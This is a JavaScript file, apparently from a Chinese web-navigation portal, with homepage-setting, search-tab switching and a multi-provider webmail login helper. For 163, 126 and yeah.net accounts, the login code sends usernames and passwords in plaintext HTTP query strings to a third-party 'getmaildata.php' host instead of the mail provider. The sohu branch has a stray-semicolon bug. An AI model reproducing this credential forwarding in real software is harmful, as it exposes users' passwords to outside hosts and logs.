//设置首页
function setHome(url) {
	if (document.all){ //ie
		document.body.style.behavior='url(#default#homepage)'; 
		document.body.setHomePage(url); 
	} else if (window.sidebar) { //firefox
		if(window.netscape){ 
			try { 
				netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); 
			} catch (e) { 
				alert( "该操作被浏览器拒绝，如果想启用该功能，请在地址栏内输入 about:config,然后将项 signed.applets.codebase_principal_support 值该为true" ); 
				return false;
			} 
		} 
		if(window.confirm("你确定要设置"+url+"为首页吗？")==1){ 
			var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch); 
			prefs.setCharPref('browser.startup.homepage',url); 
		} 
	} 
}

//搜索项目切换
function setTab(curid,curnum,allnum)
{
	for(var i=0;i<allnum;i++){
		if(i!=curnum)
		{
			//项目切换
			tabid		=	"tab"+i;
			var tab=document.getElementById(tabid);
		    tab.className = "";
		    //关键字切换
			keywordid		=	"keyword"+i;
			var keyword		=	document.getElementById(keywordid);
		    keyword.style.display="none";
		    //logo切换
			searchclasslogo			=	"searchclasslogo"+i;
			var searchclasslogo		=	document.getElementById(searchclasslogo);
		    searchclasslogo.style.display="none";
		    //提交表单切换
		  	searchclassform			=	"searchGroupForm"+i;
			var searchclassform		=	document.getElementById(searchclassform);
		    searchclassform.style.display="none";
		} 
	}
	var curtab=document.getElementById(curid);
    curtab.className = "cur";
    
    var curkeyword=document.getElementById("keyword"+curnum);
    curkeyword.style.display="block";
    
     var cursearchclasslogo=document.getElementById("searchclasslogo"+curnum);
    cursearchclasslogo.style.display="block";
    
    var cursearchclassform=document.getElementById("searchGroupForm"+curnum);
    cursearchclassform.style.display="block";
}
//邮箱改变
function changemail(m) {
	if (m.selectedIndex > 14) {
		var url=m.value;
		window.open(url);
		m.selectedIndex=14;
	}
}

function clickMail(){
	var  mailform      =    document.getElementById("mailform");
	 var mail_username	=	document.getElementById("mail_username");
	 var mailtype		=	document.getElementById("mailtype");
	 var mail_passwd	=	document.getElementById("mail_passwd");
	
	var index=mailtype.selectedIndex;
	if(mail_username.value==""){
		alert("\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a\uff01");
		mail_username.focus();return false
	}
	if(mailtype.value=="" || index==0){
		alert("\u60a8\u6ca1\u6709\u9009\u62e9\u90ae\u7bb1\uff01");
		mailtype.focus();return false
	}
	if(mail_passwd.value==""){
		alert("\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a\uff01");
		mail_passwd.focus();
		return false
	}

	switch(mailtype.value){
		case "163":
		var url	=	"http://www.demo.haokan165.com/getmaildata.php?type=163&username="+mail_username.value+"&password="+mail_passwd.value;
		window.open(url);
		return false
		break;
		
		case "126":
		var url	=	"http://www.demo.haokan165.com/getmaildata.php?type=126&username="+mail_username.value+"&password="+mail_passwd.value;
		window.open(url);
		return false
		break;
		
		case 'sina':
		mailform.action="http://mail.sina.com.cn/cgi-bin/login.cgi";
		mailform.u.value	=	mail_username.value;
		mailform.psw.value	=	mail_passwd.value;
		break;
		
		case"yahoo":
			mailform.action="https://edit.bjs.yahoo.com/config/login";
			mailform.login.value=mail_username.value;
			mailform.passwd.value=mail_passwd.value;
			return true;
			break;
		
		case"yahoocn":
			mailform.action="https://edit.bjs.yahoo.com/config/login";
			mailform.login.value=mail_username.value+"@yahoo.cn";
			mailform.passwd.value=mail_passwd.value;
			return true;
			break;
		
		case"sohu":
			mailform.action="http://passport.sohu.com/login.jsp";
			mailform.url.value="";
			mailform.UserName.value=mail_username.value;
			mailform.Password.value=mail_passwd.value;
			mailform.id.value=mail_username.value;
			mailform.username.value=mail_username.value;
			mailform.password.value=mail_passwd.value;
			mailform.m.value=mail_username.value;
			mailform.passwd.value=mail_passwd.value;
			mailform.mpass.value=mail_passwd.value;
			mailform.loginid.value=mail_username.value;+"@sohu.com";
			mailform.fl.value="1";
			mailform.vr.value="1|1";
			mailform.appid.value="1000";
			mailform.ru.value="http://login.mail.sohu.com/servlet/LoginServlet";
			mailform.eru.value="http://login.mail.sohu.com/login.jsp";
			mailform.ct.value="1173080990";
			mailform.sg.value="5082635c77272088ae7241ccdf7cf062";
			return true;
			break;
			
		case "yeah":
			var url	=	"http://www.demo.haokan165.com/getmaildata.php?type=yeah&username="+mail_username.value+"&password="+mail_passwd.value;
			window.open(url);
			return false
			break;
			
		case"tom":
			mailform.action="http://login.mail.tom.com/cgi/login";  
			mailform.user.value=mail_username.value;
			mailform.pass.value=mail_passwd.value;
			break;		

		case"21cn":
			mailform.action="http://passport.21cn.com/maillogin.jsp";
			mailform.LoginName.value=mail_username.value;
			mailform.passwd.value=mail_passwd.value;
			mailform.domainname.value="21cn.com";
			mailform.UserName.value=mail_username.value+"@21cn.com";
			break;
			
		case "renren":
			mailform.action="http://passport.renren.com/PLogin.do";
			mailform.email.value=mail_username.value;
			mailform.password.value=mail_passwd.value;
			mailform.origURL.value="http://www.renren.com/Home.do";
			mailform.domain.value="renren.com";
			break;
		
		case"baidu":	
			mailform.action="https://passport.baidu.com/?login";
			mailform.u.value="./";
			mailform.username.value=mail_username.value;
			mailform.password.value=mail_passwd.value;
			break;
			
		case"51com":
			mailform.action="http://passport.51.com/login.5p";
			mailform.passport_51_user.value=mail_username.value;
			mailform.passport_51_password.value=mail_passwd.value;
			mailform.gourl.value="http%3A%2F%2Fmy.51.com%2Fwebim%2Findex.php";
			break;
			
		case "tianya":
			mailform.action="http://passport.tianya.cn:80/login";
			mailform.vwriter.value=mail_username.value;
			mailform.vpassword.value=mail_passwd.value;
			break;
			
	}
}